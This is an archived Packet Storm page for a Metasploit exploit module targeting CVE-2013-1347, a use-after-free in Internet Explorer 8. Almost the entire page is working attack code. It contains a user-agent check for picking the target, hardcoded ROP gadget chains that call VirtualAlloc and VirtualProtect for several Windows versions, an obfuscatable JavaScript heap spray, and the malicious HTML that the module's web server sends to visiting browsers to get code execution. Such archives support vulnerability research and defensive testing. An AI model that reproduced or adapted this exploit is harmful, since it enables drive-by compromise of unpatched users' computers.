Lucene search

K
packetstormSinn3rPACKETSTORM:121542
HistoryMay 07, 2013 - 12:00 a.m.

Microsoft Internet Explorer CGenericElement Object Use-After-Free

2013-05-0700:00:00
sinn3r
packetstormsecurity.com
26

0.973 High

EPSS

Percentile

99.9%

`##  
#  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "8.0",  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:rank => GoodRanking  
})  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in Microsoft Internet Explorer. A  
use-after-free condition occurs when a CGenericElement object is freed, but a  
reference is kept on the Document and used again during rendering, an invalid  
memory that's controllable is used, and allows arbitrary code execution under the  
context of the user.  
  
Please note: This vulnerability has been exploited in the wild on 2013 May, in  
the compromise of the Department of Labor (DoL) Website.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown',  
'EMH',  
'juan vazquez', #RCA  
'sinn3r' #RCA  
],  
'References' =>  
[  
[ 'CVE', '2013-1347' ],  
[ 'OSVDB', '92993' ],  
[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],  
[ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'Space' => 1024,  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],  
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],  
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],  
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "May 3 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '5.2'  
os_name = 'Windows Server 2003'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
else  
# OS not supported  
return nil  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie8_smil(my_target, p)  
  
case my_target['Rop']  
when :msvcrt  
case my_target.name  
when 'IE 8 on Windows XP SP3'  
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET  
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET  
when 'IE 8 on Windows Server 2003'  
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))  
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))  
end  
else  
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))  
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))  
end  
  
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))  
js_payload = Rex::Text.to_unescape(p)  
  
js = %Q|  
unicorn = unescape("ABCD");  
unicorn2 = unescape("EEEE");  
for (i=0; i < 2; i++) {  
unicorn += unescape("ABCD");  
}unicorn += unescape("AB");  
  
unicorn += unescape("#{js_payload}");  
  
animvalues = unescape("#{align_esp}");  
  
for (i=0; i < 0x70/4; i++) {  
if (i == 0x70/4-1) {  
animvalues += unescape("#{xchg_esp}");  
}  
else {  
animvalues += unescape("#{align_esp}");  
}  
}  
  
animvalues += unicorn;  
  
for(i = 0; i < 13; i++) {  
animvalues += ";red";  
}  
|  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
return js  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V")[0].to_i  
end  
  
def nop  
return make_nops(4).unpack("V")[0].to_i  
end  
  
def get_payload(t, cli)  
code = payload.encoded  
  
# No rop. Just return the payload.  
return code if t['Rop'].nil?  
  
case t['Rop']  
when :msvcrt  
case t.name  
when 'IE 8 on Windows XP SP3'  
rop_gadgets =  
[  
0x77c1e844, # POP EBP # RETN [msvcrt.dll]  
0x77c1e844, # skip 4 bytes [msvcrt.dll]  
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]  
0xffffffff,  
0x77c127e5, # INC EBX # RETN [msvcrt.dll]  
0x77c127e5, # INC EBX # RETN [msvcrt.dll]  
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]  
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)  
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]  
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]  
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)  
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]  
0x77c3048a, # POP EDI # RETN [msvcrt.dll]  
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]  
0x77c46efb, # POP ESI # RETN [msvcrt.dll]  
0x77c2aacc, # JMP [EAX] [msvcrt.dll]  
0x77c3b860, # POP EAX # RETN [msvcrt.dll]  
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]  
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]  
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]  
].pack("V*")  
when 'IE 8 on Windows Server 2003'  
rop_gadgets =  
[  
0x77bb2563, # POP EAX # RETN  
0x77ba1114, # <- *&VirtualProtect()  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77bb0c86, # XCHG EAX,ESI # RETN  
0x77bc9801, # POP EBP # RETN  
0x77be2265, # ptr to 'push esp # ret'  
0x77bb2563, # POP EAX # RETN  
0x03C0990F,  
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)  
0x77bb48d3, # POP EBX, RET  
0x77bf21e0, # .data  
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN  
0x77bbfc02, # POP ECX # RETN  
0x77bef001, # W pointer (lpOldProtect) (-> ecx)  
0x77bd8c04, # POP EDI # RETN  
0x77bd8c05, # ROP NOP (-> edi)  
0x77bb2563, # POP EAX # RETN  
0x03c0984f,  
0x77bdd441, # SUB EAX, 03c0940f  
0x77bb8285, # XCHG EAX,EDX # RETN  
0x77bb2563, # POP EAX # RETN  
nop,  
0x77be6591 # PUSHAD # ADD AL,0EF # RETN  
].pack("V*")  
end  
else  
rop_gadgets =  
[  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)  
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]  
0x7c3415a2, # JMP [EAX] [msvcr71.dll]  
0xffffffff,  
0x7c376402, # skip 4 bytes [msvcr71.dll]  
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]  
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]  
0x7c344f87, # POP EDX # RETN [msvcr71.dll]  
0xffffffc0, # Value to negate, will become 0x00000040  
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]  
0x7c34d201, # POP ECX # RETN [msvcr71.dll]  
0x7c38b001, # &Writable location [msvcr71.dll]  
0x7c347f97, # POP EAX # RETN [msvcr71.dll]  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]  
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]  
# rop chain generated with mona.py  
].pack("V*")  
end  
  
rop_payload = rop_gadgets  
case t['Rop']  
when :msvcrt  
rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
else  
rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000  
end  
rop_payload << code  
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt  
  
return rop_payload  
end  
  
def load_exploit_html(my_target, cli)  
  
p = get_payload(my_target, cli)  
js = ie8_smil(my_target, p)  
  
html = %Q|  
<!doctype html>  
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">  
<head>  
<meta>  
<?IMPORT namespace="t" implementation="#default#time2">  
</meta>  
  
<script>  
function helloWorld()  
{  
#{js}  
f0 = document.createElement('span');  
document.body.appendChild(f0);  
f1 = document.createElement('span');  
document.body.appendChild(f1);  
f2 = document.createElement('span');  
document.body.appendChild(f2);  
document.body.contentEditable="true";  
f2.appendChild(document.createElement('datalist'));  
f1.appendChild(document.createElement('span'));  
f1.appendChild(document.createElement('table'));  
try{  
f0.offsetParent=null;  
}catch(e) {  
  
}f2.innerHTML="";  
f0.appendChild(document.createElement('hr'));  
f1.innerHTML="";  
  
CollectGarbage();  
  
try {  
a = document.getElementById('myanim');  
a.values = animvalues;  
}  
catch(e) {}  
}  
  
</script>  
</head>  
<body onload="eval(helloWorld());">  
<t:ANIMATECOLOR id="myanim"/>  
  
</body>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end  
  
`